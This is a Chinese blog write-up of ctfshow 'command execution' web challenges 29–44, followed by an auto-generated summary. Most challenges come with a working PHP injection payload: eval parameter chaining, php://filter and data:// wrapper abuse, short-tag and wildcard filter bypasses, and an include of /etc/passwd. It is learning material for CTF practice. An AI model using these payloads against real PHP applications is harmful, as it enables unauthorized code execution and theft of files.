ctfshow 命令执行

Web(29)

首先可以用system(“ls”)来查看文件,是flag.php

用tac,,命令来输出文件。

不过flag被屏蔽了

所以可以用?或*来代替

?代表了一个字符站位

*代表了多个。

Web(30)

?c=echo`cat *`;

因为system被限制了所以要通过别的来进行来解决。

Cat与tac一个是正面一个是反面

Web(31)

/?c=eval($_GET[1]);&1=system('tac flag.php');重新引用了一个变量,这个变量拥有c的值但不受c的限制。通过tac或cat命令来得到。

Web(32)

这次同样用了新建一个变量但是由于system的禁用就使用文件包含来解决,由于本身使用1=flag.php无法使文件呈现出来所以只能使

来解决这个问题。最后得到的结果来进行base64解码直接得到。Linux 系统中的 /etc/passwd 文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。

filter:通过指定的通道来读取指定的文件这里使用base64读取不用base64读不到源文件

Web(33)

同上(32)也可以把include改为require

Web(34)

常见的不需要括号的语言结构有:{ echo    print   isset    unset    include   require   }

Isset:   isset()函数用于检测变量是否已设置并且非NULL。如果已经使用unset()释放了一个变量之后,再通过isset()判断将返回FALSE。

如果使用isset()测试一个被设置成NULL的变量,将返回FALSE。同时要注意的是null字符(“ \ 0”)并不相等于PHP的NULL常量。

语法:布尔isset (混合$ var [,混合$ ... ] )  。

参数说明:$ var:要检测的变量。

如果一次添加多个参数,那么isset()仅在全部参数都被设置时返回TRUE,计算过程从左至右,中途遇到没有设置的变量时就会立即停止。

Unset: unset的作用_hongmingover的博客-CSDN博客_unset函数的作用

Print :phpinfo();数据段不在代码段所以不可以通过print来执行但eval可以来执行但必须要有括号

Include:为读取,/?c=include%0A$_GET[1]?>&1=/etc/password读取文件看能否读取能了就继续上面的操作。

Web(35)

与上面方法一样/?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web(36)

同上但数字不能用了。换成字母即可。

Web(37)【伪协议的使用】

data://text/plain,<?php system("tac fla*");?>

在哔哩哔哩上找的(相关的伪协议)常见于文件包含,文本包含  

Data协议是把后面的字母 ,数字,字符串作为php代码来运行。

用到data伪协议来执行后面可以用前面的方法来进行解决。Tac或cat等来执行。

Web(38)短标签

短标签:因为过滤了php所以之前的data协议不能照办了。要改变一下。

/?c= data://text/plain,<?= system("tac fla*");?>

//php.ini

short_open_tag = On

//除<?php ?>,可使用更灵活的调用方法

<? /*程序操作*/ ?>

<?=/*函数*/?>

这是短标签的调用形式

Web(39)

/?c=data://text/plain,<?php system("tac fla*");?>

{有个小问题用协议的时候直接复制上我之前的还不行要在点一遍,我哪里错了。。。}

加了个后缀但对于我们构建的playload没有影响因为?>对他进行了隔离,没有影响到我们的构建。

Web(40)

show_source(next(array_reverse(scandir(pos(localeconv())))));构建

print_r() 函数用于打印变量,以更容易理解的形式展示localeconv():是一个编程语言函数,返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

pos():返回数组中的当前元素的值。这里也可以换成current(),作用和pos类似

array_reverse():数组逆序

scandir():获取目录下的文件

next(): 函数将内部指针指向数组中的下一个元素,并输出。

通过 pos(localeconv())得到点号因为scandir('.')表示得到当前目录下的文件PS:如果我没有记错,scnadir('/')也能扫描当前目录下面的文件,但是这道题貌似无法使用chr(47)和chr(48)(.和/的ASCII码)进行过滤的绕过

这是节选https://www.cnblogs.com/echoDetected/p/13886197.html#里的

Web(41)

Web(42)

" >/dev/null 会把结果写到一个写道一个黑洞中让他无法运行。解决方法在其后多写一个函数,让多写的函数进入函数,以兵换将。

Web(43)

因为; 被限制了可以使用||来代替。比上一题多了给符号的转化。

Web(44)

/?c=tac fla?.php||ls

多了个flag的限制。用个*号或?号来代替。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
在CTF中,web入门命令执行指的是通过Web应用程序的漏洞,将恶意的命令注入到应用程序中并执行。这样的攻击可以导致未经授权的访问和操纵应用程序的数据和功能。 根据引用中提供的信息,可以看到一些常见的双写绕过技巧,如分号、竖线、双与号等。这些技巧可以用来绕过应用程序对输入参数的限制,从而注入恶意的命令。 引用中提到的payload,其中使用了一个通用的命令执行函数"show_source"来显示指定文件的源代码。这个payload可以用来尝试执行"flag.php"文件的源代码。但前提是要知道有一个名为"flag.php"的文件存在。 另外,引用中提供了另一种payload的示例,其中使用了array_reverse和scandir函数来获取文件目录并显示指定文件的源代码。同样,也可以直接使用show_source('flag.php')来显示"flag.php"文件的源代码。 需要注意的是,命令执行漏洞是非常危险的,因为它可以导致恶意用户执行任意的系统命令。为了保护Web应用程序免受此类攻击,开发人员应该对用户的输入进行严格的验证和过滤,并使用安全的编程实践来防止命令注入漏洞的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ctfshow web入门之命令执行](https://blog.csdn.net/uuzfumo/article/details/128357863)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [CTFShow Web入门 命令执行](https://blog.csdn.net/qq_19533763/article/details/123910732)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值